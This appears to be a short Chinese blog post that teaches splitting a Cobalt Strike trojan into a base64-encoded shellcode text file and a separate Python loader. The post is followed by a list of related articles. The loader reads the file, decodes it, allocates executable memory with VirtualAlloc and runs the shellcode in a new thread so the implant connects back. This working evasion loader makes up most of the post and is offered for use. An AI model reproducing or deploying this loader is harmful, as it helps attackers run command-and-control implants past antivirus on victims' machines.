无文件落地&分离拆分-将shellcode从文本中提取-file

马子分为shellcode和执行代码.

--将shellcode单独拿出,放在txt中---等待被读取执行

1-cs生成python的payload.

2-将shellcode进行base64编码

python 复制代码
import base64

code = b'         '

en_code = base64.b64encode(code)
print(en_code)

3-将编码后的shellcode放入文件内

4-读取shellcode--执行--上线

python 复制代码
import ctypes
import base64

with open('s.txt','r') as f:
    s=f.read()

shellcode=base64.b64decode(s)

ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
相关推荐
逻极8 小时前
Python MySQL防SQL注入实战:从字符串拼接的坑到参数化查询的救赎
python·mysql·安全·sql注入
Fnetlink18 小时前
中小企业网络环境优化与安全建设
网络·安全·web安全
拍客圈9 小时前
宝塔 安全风险 修复
安全
门思科技9 小时前
企业级 LoRaWAN 网关远程运维方案对比:VPN 与 NPS FRP 的技术与安全差异分析
运维·网络·安全
文刀竹肃9 小时前
DVWA -SQL Injection-通关教程-完结
前端·数据库·sql·安全·网络安全·oracle
Neolnfra10 小时前
任意文件下载漏洞
计算机网络·安全·web安全·网络安全·系统安全·安全威胁分析·安全架构
tap.AI13 小时前
AI时代的云安全(四)云环境中AI模型的安全生命周期管理实践
人工智能·安全
光影少年14 小时前
web端安全问题有哪些?
前端·安全
测试人社区-千羽15 小时前
AR/VR应用测试核心要点与实施策略
人工智能·安全·职场和发展·自动驾驶·测试用例·ar·vr